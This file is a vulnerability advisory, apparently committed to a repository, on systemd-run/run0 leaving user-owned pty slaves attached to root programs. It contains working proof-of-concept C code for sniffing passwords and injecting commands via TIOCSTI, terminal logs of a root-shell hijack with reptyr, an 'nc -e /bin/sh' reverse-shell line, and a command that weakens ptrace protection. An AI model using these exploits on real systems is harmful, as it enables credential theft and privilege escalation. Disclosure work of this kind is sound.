|
| 1 | +Systemd Insecure PTY Handling Vulnerability |
| 2 | +=========================================== |
| 3 | +CVSSv3.BaseScore: 5.8 |
| 4 | +CVSSv3.Vector: AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:L/A:N |
| 5 | + |
| 6 | +Short Description |
| 7 | +================= |
| 8 | +Systemd-run/run0 allocates user-owned pty's and attaches the slave |
| 9 | +to high privilege programs without changing ownership or locking |
| 10 | +the pty slave. |
| 11 | + |
| 12 | +Description |
| 13 | +=========== |
| 14 | +Systemd-run/run0 is working towards a "sudo"-like replacement for |
| 15 | +v256 that is based on the existing policykit and d-bus based "systemd-run" |
| 16 | +transient service execution. The code in "src/run/run.c" on line 1673 |
| 17 | +creates a PTY master and slave used for this process, and the slave |
| 18 | +name is passed to unlockpt() on line 1689. This allows any process to |
| 19 | +connect to "/dev/pts/0" interface as a slave, this interface is created |
| 20 | +under the local user context executing "systemd-run". The code subsequently |
| 21 | +uses a PTY forwarder (src/shared/ptyfwd.c) and d-bus once authentication |
| 22 | +by policykit is approved, the slave end of the pty created will be |
| 23 | +attached to the privileged executed program. As the slave interface |
| 24 | +is not locked to the privilege level of the newly executed process, |
| 25 | +a vulnerability is introduced to the system as any same-user process |
| 26 | +can now interact with the slave end of the root program. |
| 27 | + |
| 28 | +Exploitation |
| 29 | +============ |
| 30 | +This issue can be exploited by opening a handle to the slave interface |
| 31 | +and using terminal I/O routines such as read() to access the input of |
| 32 | +the root program. Slave PTY's are not designed for multiple programs to |
| 33 | +access them and this has the unintended effect of redirecting input |
| 34 | +intended for the privileged program back to unprivileged processes, an |
| 35 | +example code "ptysniff.c" is provided here and terminal output that shows |
| 36 | +the issue being used to read input from a systemd-run executed "passwd" |
| 37 | +program, returning the password intended for the root program back to the |
| 38 | +local user. |
| 39 | + |
| 40 | +User Terminal |
| 41 | +============= |
| 42 | +The user executes systemd with "--pty" to allocate a new "root" pty and |
| 43 | +execute "passwd" in the new terminal. |
| 44 | + |
| 45 | +fantastic@fantastic-pc /dev/pts systemd-run --pty passwd |
| 46 | +==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ==== |
| 47 | +Authentication is required to manage system services or other units. |
| 48 | +Authenticating as: fantastic |
| 49 | +Password: |
| 50 | +==== AUTHENTICATION COMPLETE ==== |
| 51 | +Running as unit: run-u63.service |
| 52 | +Press ^] three times within 1s to disconnect TTY. |
| 53 | +New password: |
| 54 | +Retype new password: |
| 55 | + |
| 56 | +Attacker Terminal |
| 57 | +================= |
| 58 | +The slave end of the systemd-run terminal is still owned by the local user |
| 59 | +context, "/dev/pts/5" in the example above - allowing ptysniff to read the |
| 60 | +password input intended to be sent to "passwd". |
| 61 | + |
| 62 | +fantastic@fantastic-pc /Work/voldermort ls -al /dev/pts/5 |
| 63 | +Permissions Size User Date Modified Name |
| 64 | +crw--w---- 136,5 fantastic 4 May 08:51 /dev/pts/5 |
| 65 | +fantastic@fantastic-pc /Work/voldermort ./ptysniff /dev/pts/5 |
| 66 | +Received: p |
| 67 | +Received: a |
| 68 | +Received: s |
| 69 | +Received: s |
| 70 | +Received: w |
| 71 | +Received: o |
| 72 | +Received: r |
| 73 | +Received: d |
| 74 | +Received: |
| 75 | + |
| 76 | +/* ptysniff.c - read from a slave pts used by a higher privileged program */ |
| 77 | +#include <fcntl.h> |
| 78 | +#include <stdio.h> |
| 79 | +#include <unistd.h> |
| 80 | +#include <sys/file.h> |
| 81 | + |
| 82 | +#define BUF_SIZE 1024 |
| 83 | + |
| 84 | +int main(int argc, char *argv[]) { |
| 85 | + if (argc != 2) { |
| 86 | + fprintf(stderr, "Usage: %s <pts>\n", argv[0]); |
| 87 | + return 1; |
| 88 | + } |
| 89 | + int fd = open(argv[1], O_RDWR | O_NOCTTY); |
| 90 | + if (fd == -1) { |
| 91 | + perror("open"); |
| 92 | + return 1; |
| 93 | + } |
| 94 | + char buf[BUF_SIZE]; |
| 95 | + ssize_t numRead; |
| 96 | + while (1) { |
| 97 | + if (flock(fd, LOCK_EX) == -1) { |
| 98 | + perror("flock"); |
| 99 | + return 1; |
| 100 | + } |
| 101 | + numRead = read(fd, buf, BUF_SIZE - 1); |
| 102 | + if (numRead == -1) { |
| 103 | + perror("read"); |
| 104 | + return 1; |
| 105 | + } |
| 106 | + for (int i = 0; i < numRead; i++) { |
| 107 | + printf("Received: %c\n", buf[i]); |
| 108 | + } |
| 109 | + if (flock(fd, LOCK_UN) == -1) { |
| 110 | + perror("flock"); |
| 111 | + return 1; |
| 112 | + } |
| 113 | + } |
| 114 | + return 0; |
| 115 | +} |
| 116 | + |
| 117 | +Recommendation |
| 118 | +============== |
| 119 | +It is recommended the systemd-run created pty slave interface |
| 120 | +is chown()'d to the same user as the privileged execution context |
| 121 | +that it operates, this would result in "permission denied" when |
| 122 | +attempting to attach another program to the slave end of the pty. |
| 123 | + |
| 124 | +Additional Information |
| 125 | +====================== |
| 126 | +In addition to the vulnerability outlined above, it is possible to |
| 127 | +exploit the problem to execute commands or completely hijack the |
| 128 | +root owned program from the same-user context when other conditions |
| 129 | +are met. Linux Kernel since around 4.1 has enabled ptrace YAMA, a |
| 130 | +protection that limits the use of ptrace for debugging purposes. |
| 131 | +With ptrace_classic set to enabled, such as with the following |
| 132 | +command. |
| 133 | + |
| 134 | +"echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope" |
| 135 | + |
| 136 | +It is possible to simply read the master fd for the pty from the |
| 137 | +"systemd-run" application, and re-parent a process to use the |
| 138 | +master end - hijacking the root program which would not be accessible |
| 139 | +to ptrace. This can be done with GDB (set inferior tty) or a tool such |
| 140 | +as "reptyr". |
| 141 | + |
| 142 | +User Terminal |
| 143 | +============= |
| 144 | +fantastic@fantastic-pc /Work/systemd main systemd-run --shell |
| 145 | +Running as unit: run-u87.service; invocation ID: abc22b3152ae48cea20ce86c11b555a1 |
| 146 | +Press ^] three times within 1s to disconnect TTY. |
| 147 | +[root@fantastic-pc systemd]# |
| 148 | + |
| 149 | +Attacker Terminal |
| 150 | +================= |
| 151 | +fantastic@fantastic-pc /Work/systemd main ps -aef | grep systemd-run | grep shell | grep -v grep;id;tty |
| 152 | +fantast+ 5541 5477 0 09:08 pts/6 00:00:00 systemd-run --shell |
| 153 | +uid=1000(fantastic) gid=1000(fantastic) groups=1000(fantastic),90(network),96(scanner),98(power),985(video),986(uucp),987(storage),990(optical),991(lp),994(input),998(wheel) |
| 154 | +/dev/pts/1 |
| 155 | +fantastic@fantastic-pc /Work/systemd main reptyr -T 5541 |
| 156 | +[root@fantastic-pc systemd]# id |
| 157 | +uid=0(root) gid=0(root) groups=0(root) |
| 158 | +[root@fantastic-pc systemd]# tty |
| 159 | +/dev/pts/0 |
| 160 | + |
| 161 | +Enabling ptrace_classic should not result in "root" permissions to unprivileged |
| 162 | +users, many operating systems support debugging applications and can do so without |
| 163 | +immediately giving away Administrative rights, YAMA is intended to provide this |
| 164 | +protection. However, sessions and terminals started under "SSHD" for instance are |
| 165 | +protected against these attacks through use of "prctl()" to prevent ptrace_attach |
| 166 | +from connecting to the process, preventing them being read even with ptrace_classic. |
| 167 | +This issue can also impact "su" and "sudo" and is a wider problem in Linux when |
| 168 | +ptrace_classic is enabled. Ensure that production systems do not support the use |
| 169 | +of ptrace_classic. |
| 170 | + |
| 171 | +Another path of exploitation can also be undertaken by an attacker when ptrace_classic |
| 172 | +is disabled, however they must be able to re-parent their tty or have control of execution |
| 173 | +of a child within the parent process. Attempts to call ioctl() with TIOCSTI historically |
| 174 | +required only the same user-context to access the tty, however to limit these attacks Linux |
| 175 | +now requires the process calling the ioctl() to be a descendant of the parent process using |
| 176 | +the pty or have the pty set as its controlling terminal. An example is shown here, an attacker |
| 177 | +uses "nc" to execute "ptypwn" and hijack a root program executed later through systemd-run |
| 178 | +by the parent. The source code for ptypwn.c is provided. |
| 179 | + |
| 180 | +User Terminal |
| 181 | +============= |
| 182 | +fantastic@fantastic-pc tty |
| 183 | +/dev/pts/3 |
| 184 | +fantastic@fantastic-pc nc -e /bin/sh localhost 1337 & |
| 185 | +[1] 6926 |
| 186 | + fantastic@fantastic-pc systemd-run --shell |
| 187 | +==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ==== |
| 188 | +Authentication is required to manage system services or other units. |
| 189 | +Authenticating as: fantastic |
| 190 | +Password: |
| 191 | +==== AUTHENTICATION COMPLETE ==== |
| 192 | +Running as unit: run-u100.service |
| 193 | +Press ^] three times within 1s to disconnect TTY. |
| 194 | +[root@fantastic-pc fantastic]# id |
| 195 | +uid=0(root) gid=0(root) groups=0(root) |
| 196 | +[root@fantastic-pc fantastic]# id |
| 197 | +uid=0(root) gid=0(root) groups=0(root) |
| 198 | +[root@fantastic-pc fantastic]# id |
| 199 | +uid=0(root) gid=0(root) groups=0(root) |
| 200 | +[root@fantastic-pc fantastic]# |
| 201 | + |
| 202 | +Attacker Terminal |
| 203 | +================= |
| 204 | +fantastic@fantastic-pc /Work/voldermort nc -v -v -l -p 1337 |
| 205 | +Listening on any address 1337 (menandmice-dns) |
| 206 | +Connection from 127.0.0.1:49282 |
| 207 | +tty;id |
| 208 | +not a tty |
| 209 | +uid=1000(fantastic) gid=1000(fantastic) groups=1000(fantastic),90(network),96(scanner),98(power),985(video),986(uucp),987(storage),990(optical),991(lp),994(input),998(wheel) |
| 210 | +./ptypwn /dev/pts/3 |
| 211 | +./ptypwn /dev/pts/3 |
| 212 | +./ptypwn /dev/pts/3 |
| 213 | + |
| 214 | + |
| 215 | +/* ptypwn.c - use TIOCSTI ioctl to inject commands into user-owned pty */ |
| 216 | +#include <fcntl.h> |
| 217 | +#include <stdio.h> |
| 218 | +#include <string.h> |
| 219 | +#include <sys/ioctl.h> |
| 220 | + |
| 221 | +int main(int argc, char *argv[]) { |
| 222 | + if (argc != 2) { |
| 223 | + fprintf(stderr, "Usage: %s <pts>\n", argv[0]); |
| 224 | + return 1; |
| 225 | + } |
| 226 | + int fd = open(argv[1], O_RDWR); |
| 227 | + if (fd < 0) { |
| 228 | + perror("open"); |
| 229 | + return -1; |
| 230 | + } |
| 231 | + char *x = "id\n"; |
| 232 | + while (*x != 0) { |
| 233 | + int ret = ioctl(fd, TIOCSTI, x); |
| 234 | + if (ret == -1) { |
| 235 | + perror("ioctl()"); |
| 236 | + } |
| 237 | + x++; |
| 238 | + } |
| 239 | + return 0; |
| 240 | +} |
| 241 | + |
| 242 | +PolicyKit / sudoer Configuration Discrepancy |
| 243 | +============================================ |
| 244 | +It is worth noting that a common misconfiguration can present itself in systemd/policykit Linux |
| 245 | +environments where users are not permitted to execute commands through "sudo" but are permitted |
| 246 | +to execute commands through policykit services such as "systemd-run". This can lead to attackers |
| 247 | +who would be denied "sudo" requests being able to obtain "root" permissions through "systemd-run". |
| 248 | +An example of this configuration error can be seen below, as "systemd-run" proposes to become a |
| 249 | +"sudo" replacement, this issue has been included for completeness and for system administrators to |
| 250 | +review their sudo and policykit configurations to ensure such discrepancies do not exist. |
| 251 | + |
| 252 | +fantastic@fantastic-pc sudo su - |
| 253 | +fantastic is not in the sudoers file. |
| 254 | + fantastic@fantastic-pc systemd-run --shell |
| 255 | +==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ==== |
| 256 | +Authentication is required to manage system services or other units. |
| 257 | +Authenticating as: fantastic |
| 258 | +Password: |
| 259 | +==== AUTHENTICATION COMPLETE ==== |
| 260 | +Running as unit: run-u107.service |
| 261 | +Press ^] three times within 1s to disconnect TTY. |
| 262 | +[root@fantastic-pc fantastic]# id |
| 263 | +uid=0(root) gid=0(root) groups=0(root) |
| 264 | + |
| 265 | +TLDR; Conclusion |
| 266 | +================ |
| 267 | +Systemd-run/run0 should chown() the created slave pty interface to the same user context |
| 268 | +using the pty, this will limit privilege escalation opportunities within the system and |
| 269 | +address the medium risk issue highlighted at the start of this advisory. The additional |
| 270 | +information in this advisory discusses wider Linux pty security handling issues, insecure |
| 271 | +configurations and thier exploitation naunces that can be leveraged for privilege escalation |
| 272 | +attacks. Whilst these tactics will serve Red Team's targetting Linux, it is noted that similar |
| 273 | +threats against Microsoft's recently introduced "sudo" that allowed any local user to obtain |
| 274 | +elevated rights through insecure pipe handlers were quickly addressed. It is also noted that |
| 275 | +despite the insecure system configurations, applications such as "SSHD" protect against some |
| 276 | +of the highlighted risks through proper use of prctl() to prevent ptrace_attach() and hardening |
| 277 | +on TTY allocation and handling. Fixing the vulnerability outlined in systemd-run through chown() |
| 278 | +is recommended, the Linux community should take note that the attacker threatscape has changed |
| 279 | +significantly with a renewed interest in targetting these systems by adversaries - consideration |
| 280 | +should be given to hardening PTY/TTY handling processes and protection against ptrace_classic |
| 281 | +regardless when privileged system operations take place. Attackers are less likely to use |
| 282 | +on-disk methods such as manipulation of .profile or .bashrc when they can simply hijack the |
| 283 | +requested permissions at a later date without touching disk from implants or other malicious |
| 284 | +code that has obtained execution in the contexts described above. |
| 285 | + |
| 286 | +-- Hacker Fantastic 04/05/2024 |
| 287 | +https://hacker.house |
0 commit comments